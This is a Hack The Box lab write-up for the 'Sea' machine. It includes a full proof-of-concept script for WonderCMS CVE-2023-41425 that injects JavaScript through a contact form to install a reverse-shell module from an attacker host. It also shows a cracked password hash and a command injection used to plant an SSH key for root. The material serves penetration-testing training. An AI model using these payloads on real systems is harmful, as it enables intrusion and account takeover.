
Sea
Hack The Box Machine Writeup

Man, I haven't rode a bike in years...
Summary
Sea was an easy linux box that had nothing overly complicated and is a good introduction to out of the box thinking and common exploitation techniques. User centers around a Wonder CMS CVE with a bit of lateral movement and root features a command injection vulnerability.
To complete the user step, first the attacker must enumerate that the webserver is running WonderCMS and that the version is vulnerable to CVE-2023-41425 which is a reflected XSS. A POC can then be located and leveraged to obtain a shell as www-data. A password hash can be found and cracked which when used with the Amay user grants a shell over SSH and completes the user phase of the CTF machine.
Root involves locating a web application listening locally on port 8080. A tunnel can then be created to interact with the application and the Amay user creds used to login. This application is then vulnerable to command injection which can be leveraged to write an SSH key into root's authorized_keys file and complete the machine.
.jpg)
Me talking to clients
User
Recon
Port scan with nmap
Starting off with an nmap scan using -sC for default NSE scripts and -sV for service enumeration. Running it as sudo defaults to a -sS stealth scan which is faster then the default -sT connect scan.
┌──(kali㉿htb)-[~/Desktop]
└─$ sudo nmap -sC -sV 10.10.11.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 16:29 EDT
Nmap scan report for 10.10.11.28
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sea - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds
We have SSH open on port 22 and a strangely out of date apache web server on port 80 (2.4.41 was released August 2019).
Web server enumeration
Checking out the website on port 80 it looks like a page for a bike racing competition. There does not appear to be any extension on the pages and there are tabs that link to /home and /how-to-participate.
Not too much on the web page it looks like
A link to a contact page sounds interesting
On the how-to-participate page there is a contact link. This redirects to the virtual host sea.htb and the route /contact.php.
Interesting use of virtual hosting to not have the whole site under the host
I need to add sea.htb to my /etc/hosts page as follows to resolve the webpage.
┌──(kali㉿htb)-[~/Desktop]
└─$ sudo tail -n 1 /etc/hosts
10.10.11.28 sea.htb
Now that we can resolve the DNS when we refresh the page we see a contact form.
Written in PHP, that's very interesting
.jpg)
Me doing this box
Fuzz for Vhost
Whenever I discover a new domain or subdomain I like to always run a fuzzing scan in the background to see if any virtual hosts can be discovered. I Wfuzz once to get the default response length and then hide that with --hw based on the word count.
┌──(kali㉿htb)-[~/Desktop]
└─$ wfuzz -u http://sea.htb/ -H "Host:FUZZ.sea.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 262
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://sea.htb/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000009532: 400 10 L 35 W 299 Ch "#www"
000010581: 400 10 L 35 W 299 Ch "#mail"
Total time: 0
Processed Requests: 19966
Filtered Requests: 19964
Requests/sec.: 0
Those 2 results are false positives.
Directory brute force with Feroxbuster
Now the only thing really left to do to finish enumeration is to run a directory busting scan on sea.htb and try to find any hidden endpoints. Since we know the site uses php from the contact.php endpoint I used the -x flag to add the extension to the wordlist.
┌──(kali㉿htb)-[~/Desktop]
└─$ feroxbuster -u http://sea.htb/ -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ _/ | | \ |__
| |___ | \ | \ | __, __/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://sea.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 7l 20w 230c http://sea.htb/themes => http://sea.htb/themes/ 200 GET 118l 226w 2731c http://sea.htb/contact.php 301 GET 7l 20w 228c http://sea.htb/data => http://sea.htb/data/ 301 GET 7l 20w 231c http://sea.htb/plugins => http://sea.htb/plugins/ 301 GET 7l 20w 232c http://sea.htb/messages => http://sea.htb/messages/ 301 GET 7l 20w 234c http://sea.htb/data/files => http://sea.htb/data/files/ 404 GET 0l 0w 3341c http://sea.htb/themes/cgi-bin 404 GET 0l 0w 3341c http://sea.htb/messages/cam 404 GET 0l 0w 3341c http://sea.htb/themes/mypage.php 404 GET 0l 0w 3341c http://sea.htb/Share 404 GET 0l 0w 3341c http://sea.htb/plugins/archivesearch 404 GET 0l 0w 3341c http://sea.htb/messages/exhibitions 404 GET 0l 0w 3341c http://sea.htb/data/files/convert 404 GET 0l 0w 3341c http://sea.htb/themes/aom.php 404 GET 0l 0w 3341c http://sea.htb/messages/guests.php 404 GET 0l 0w 3341c http://sea.htb/themes/browser.php 404 GET 0l 0w 3341c http://sea.htb/messages/mexico.php 404 GET 0l 0w 3341c http://sea.htb/themes/syndicate 404 GET 0l 0w 3341c http://sea.htb/data/BunnySlippers.php 301 GET 7l 20w 235c http://sea.htb/themes/bike => http://sea.htb/themes/bike/ 404 GET 0l 0w 3341c http://sea.htb/themes/datasheets 404 GET 0l 0w 3341c http://sea.htb/themes/bike/catalog.php 404 GET 0l 0w 3341c http://sea.htb/data/Mailing 500 GET 9l 15w 227c http://sea.htb/themes/bike/theme.php 404 GET 0l 0w 3341c http://sea.htb/messages/mh.php 404 GET 0l 0w 3341c http://sea.htb/data/hotline 404 GET 0l 0w 3341c http://sea.htb/themes/bike/software 404 GET 0l 0w 3341c http://sea.htb/messages/kundencenter 404 GET 0l 0w 3341c http://sea.htb/plugins/horse 404 GET 0l 0w 3341c http://sea.htb/data/files/shippinginfo.php 404 GET 0l 0w 3341c http://sea.htb/plugins/eye.php 404 GET 0l 0w 3341c http://sea.htb/themes/bike/30 404 GET 0l 0w 3341c http://sea.htb/data/files/Homepage 200 GET 1l 1w 6c http://sea.htb/themes/bike/version 404 GET 0l 0w 3341c http://sea.htb/plugins/webapp_template 404 GET 0l 0w 3341c http://sea.htb/data/files/328 404 GET 0l 0w 3341c http://sea.htb/news-archive 404 GET 0l 0w 3341c http://sea.htb/plugins/front-page.php 404 GET 0l 0w 3341c http://sea.htb/data/files/met 404 GET 0l 0w 3341c http://sea.htb/themes/bike/pvt 200 GET 21l 168w 1067c http://sea.htb/themes/bike/LICENSE 404 GET 0l 0w 3341c http://sea.htb/cncat.php 404 GET 0l 0w 3341c http://sea.htb/themes/c-orc 404 GET 0l 0w 3341c http://sea.htb/messages/getattachment 404 GET 0l 0w 3341c http://sea.htb/data/files/emailcampaigns.php 404 GET 0l 0w 3341c http://sea.htb/mas 404 GET 0l 0w 3341c http://sea.htb/may 404 GET 0l 0w 3341c http://sea.htb/themes/bike/RPC2 404 GET 0l 0w 3341c http://sea.htb/store_pictures.php 404 GET 0l 0w 3341c http://sea.htb/messages/Structures 404 GET 0l 0w 3341c http://sea.htb/messages/Submit 404 GET 0l 0w 3341c http://sea.htb/messages/pt_PT 404 GET 0l 0w 3341c http://sea.htb/data/gourl 200 GET 1l 9w 66c http://sea.htb/themes/bike/summary 404 GET 0l 0w 3341c http://sea.htb/data/files/hacker
404 GET 0l 0w 3341c http://sea.htb/Restaurant
404 GET 0l 0w 3341c http://sea.htb/data/carsales
404 GET 0l 0w 3341c http://sea.htb/data/files/Baiduspider
404 GET 0l 0w 3341c http://sea.htb/plugins/applicants
404 GET 0l 0w 3341c http://sea.htb/data/files/ClientSide
404 GET 0l 0w 3341c http://sea.htb/linkinfo
404 GET 0l 0w 3341c http://sea.htb/linkss
404 GET 0l 0w 3341c http://sea.htb/data/mdp
404 GET 0l 0w 3341c http://sea.htb/data/files/crossfire
404 GET 0l 0w 3341c http://sea.htb/messages/puretecgen_data.php
[####################] - 11m 210017/210017 0s found:65 errors:13112
[####################] - 10m 30000/30000 49/s http://sea.htb/
[####################] - 10m 30000/30000 48/s http://sea.htb/themes/
[####################] - 10m 30000/30000 49/s http://sea.htb/data/
[####################] - 10m 30000/30000 48/s http://sea.htb/plugins/
[####################] - 10m 30000/30000 49/s http://sea.htb/messages/
[####################] - 10m 30000/30000 48/s http://sea.htb/data/files/
[####################] - 9m 30000/30000 58/s http://sea.htb/themes/bike/
Bike Theme Information Leakage
From this we can see a lot of interesting endpoints that we are 404 forbidden from. There are also files in the Bike theme ( which looks custom, something to note for CTF machines) that we can access. Of note is the readme (README.md).
Always try to find readmes as they can contain version information
From this readme we get a couple pieces of information. The first of these is that WonderCMS is a technology in use we may want to look for public exploits for. Another interesting note is the preview section that shows there should be a preview of the theme at the /preview.jpg route. Checking this out and going to[ http://sea.htb/themes/bike/preview.jpg](http://sea.htb/themes/bike/preview.jpg) We are surprisingly greeted with a Website Alive! message and a statement that the password is admin.
Not a good idea to publicly broadcast the admin password...

Pentesting in a nutshell
Wonder CMS CVE-2023-41425 XSS
At this point I couldn't find the login endpoint with which to use the password, so I searched online for any wonder CMS exploits. I came across[ CVE-2023-41425](https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413) which suggests version v.3.2.0 of wondercms should be vulnerable. I figured to try this since I discovered the version of the bike theme was also 3.2.0
Close enough
The vulnerability appears to be in a reflected XSS vulnerability that can be exploited by uploading a malicious file and leveraging the installModule component. The linked page provides a python POC script that makes the whole process easy for us.
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
Unfortunately this will not work as we can see the following attempts to pull the reverse shell payload from Github, and the victim machine does not have connection to the internet.
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
In order to fix this we will need to host the github.com/prodigiousMind/revshell/archive/refs/heads/main.zip on our attacking machine and make the relevant change in the code as follows. We will also need to change the URLWithoutLogBase variable to make it work with the sea.htb website.
<...>
var urlWithoutLogBase = "http://sea.htb";
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.25/main.zip&directoryName=violet&type=themes&token=" + token;
<...>
after going to https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip and downloading the zip file I then hosted it using a simple python http server on port 80.
┌──(kali㉿localhost)-[~/Desktop]
└─$ wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
--2025-01-13 14:33:08-- https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
Resolving github.com (github.com)... 140.82.113.3
Connecting to github.com (github.com)|140.82.113.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main [following]
--2025-01-13 14:33:08-- https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 140.82.112.9
Connecting to codeload.github.com (codeload.github.com)|140.82.112.9|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: ‘main.zip’
main.zip [ <=> ] 2.62K --.-KB/s in 0s
2025-01-13 14:33:09 (4.87 TB/s) - ‘main.zip’ saved [2680]
┌──(kali㉿htb)-[~/Desktop]
└─$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
I need to know the location of the login portal to run the exploit POC, luckily the default shown of /loginURL was correct and i was able to find it.
Hurray for defaults
Sadly the password is not Admin, so that whole part was a rabbit hole.

Why did they tell us the admin password then!
With everything set up we can then run the POC python script and start an NC listener as requested.
┌──(kali㉿htb)-[~/Desktop]
└─$ python exploit.py http://sea.htb/themes 10.10.14.25 42069
[+] xss.js is created
[+] execute the below command in another terminal
----------------------------
nc -lvp 42069
----------------------------
send the below link to admin:
----------------------------
http://sea.htb/themes"></form><script+src="http://10.10.14.25:8000/xss.js"></script><form+action="
----------------------------
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(kali㉿htb)-[~/Desktop]
└─$ nc -lvp 42069
listening on [any] 42069 ...
Now we need to send that XSS payload to the admin via the contact form at contact.php we discovered earlier. Through trial and error I discovered that the website field was the one valuable to the XSS payload, for brevity I will not show all of that here.
I knew the PHP contact form was fishy
And after doing so we catch the reverse shell as the www-data user.
┌──(kali㉿htb)-[~/Desktop]
└─$ nc -lvp 42069
listening on [any] 42069 ...
Connection received on 10.10.11.28 40808
bash: cannot set terminal process group (1151): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/theme223$

This is a bike riding meme that is over my head but I'm sure is funny
Shell as Amay
Now that we have a shell as the www-data user we need to try and move laterally. Looking in the /home directory we can see that there is an Amay user.
www-data@sea:/home$ ls
amay geo
One of the most common ways to move laterally after exploiting a web server is to look for any password hashes we can find for the website. Looking in the web directory we come across a database.js file that seems to contain a password hash.
www-data@sea:/var/www/sea/data$ ls
cache.json database.js file
cat database.js
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
<...>
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q",
<...>
We can then crack this hash with Hashcat and after a while we get the password of mychecmicalromance.
┌──(kali㉿localhost)-[~/Desktop]
└─$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<...>
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
Session..........: hashcat
Status...........: Cracked
From here we can SSH in as the amy user using the password mychemicalromance and grab user.txt completing the user step.
┌──(kali㉿htb)-[~/Desktop]
└─$ ssh amay@10.10.11.28
amay@10.10.11.28's password: mychemicalromance
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-190-generic x86_64)
<...>
Last login: Fri Aug 16 15:43:32 2024 from 10.10.16.4
amay@sea:~$ cat user.txt
885029bc5c9401bacc7e6c01a89a0ddb

I cant name a single song by the band...
Root
Enumeration
I started off with some quick manual enumeration checks such as sudo -l and looking for SUID binaries with find. Another quick check I like to do is find all files owned by my users group using find. In this case none of this manual checking came up with any good attack vectors. Looking at netstat however we can see that port 8080 is listening locally.
amay@sea:~$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:54317 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
I set up a proxy tunnel in order to reach the webserver over port 8000 since 8080 is used by burp.
┌──(kali㉿localhost)-[~/Desktop]
└─$ ssh -L 8000:localhost:8080 amay@10.10.11.28
amay@10.10.11.28's password: mychemicalromance
<...>
I then went to the website and was presented with a basic HTTP auth form.
I wonder if we can reuse creds we already have?
Trying with Amay and mychemicalromance works to get us in and we are presented with a system monitor application.
Looks like a fair bit of stuff to mess with here

Man that's some good network visibility!
Command Injection
The analyze button appears to read from a log file.
Seems like direct output from the console
Looking at the request in BURP we can see that it is manually passing the location of the file to be read in the log_file paramter.
Bingo, this is a red flag for arbitrary file read and command injection
Doing some quick checks for command injection seem promising as the response is echoed to the page without any filtering.
No filtering of our input is a very good indication
Using a # to comment out the rest of whatever command is being ran and injected into works and we get back the result of the id command and have code execution as root.
Don't forget the URL encoded space (+)
Now we just need to pass it a reverse shell.
Dang, it can never be that easy
Sadly the shell crashes right away. So as a work around I will instead generate a private key and write that to the root user's authorized_keys file to SSH in, grab root.txt and complete the machine.
┌──(kali㉿localhost)-[~/Desktop]
└─$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): root
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root
Your public key has been saved in root.pub
The key fingerprint is:
SHA256:VZsHvYndi+ArqQ8yVirlb1huXTIc//PqqPXdncOA7xI kali@localhost.localdomain
The key's randomart image is:
+--[ED25519 256]--+
| o. |
| . +. |
| . oo.+ |
| o ...+ .|
| . .S + o . .|
| o o. + E o . |
| . *+.. =.= o |
| o.++.+.oo+.o+|
| ooooo.+=+++|
+----[SHA256]-----+
┌──(kali㉿localhost)-[~/Desktop]
└─$ cat root.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICEJfQuuCXy1J6mxNK6RSj2C5iqFXjVXdMV3hUAp1ER2 kali@localhost.localdomain
Dont forget the URL encoding
┌──(kali㉿localhost)-[~/Desktop]
└─$ chmod 600 root
┌──(kali㉿localhost)-[~/Desktop]
└─$ ssh -i root root@10.10.11.28
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-190-generic x86_64)
<...>
root@sea:~# cat root.txt
92f04e48fc830aaeff4b15a070e0609b

And a lot more work too. Congrats on another box completed friend
Additional Information
Ippsec video walkthrough
0xdf writeup
0xdf.gitlab.io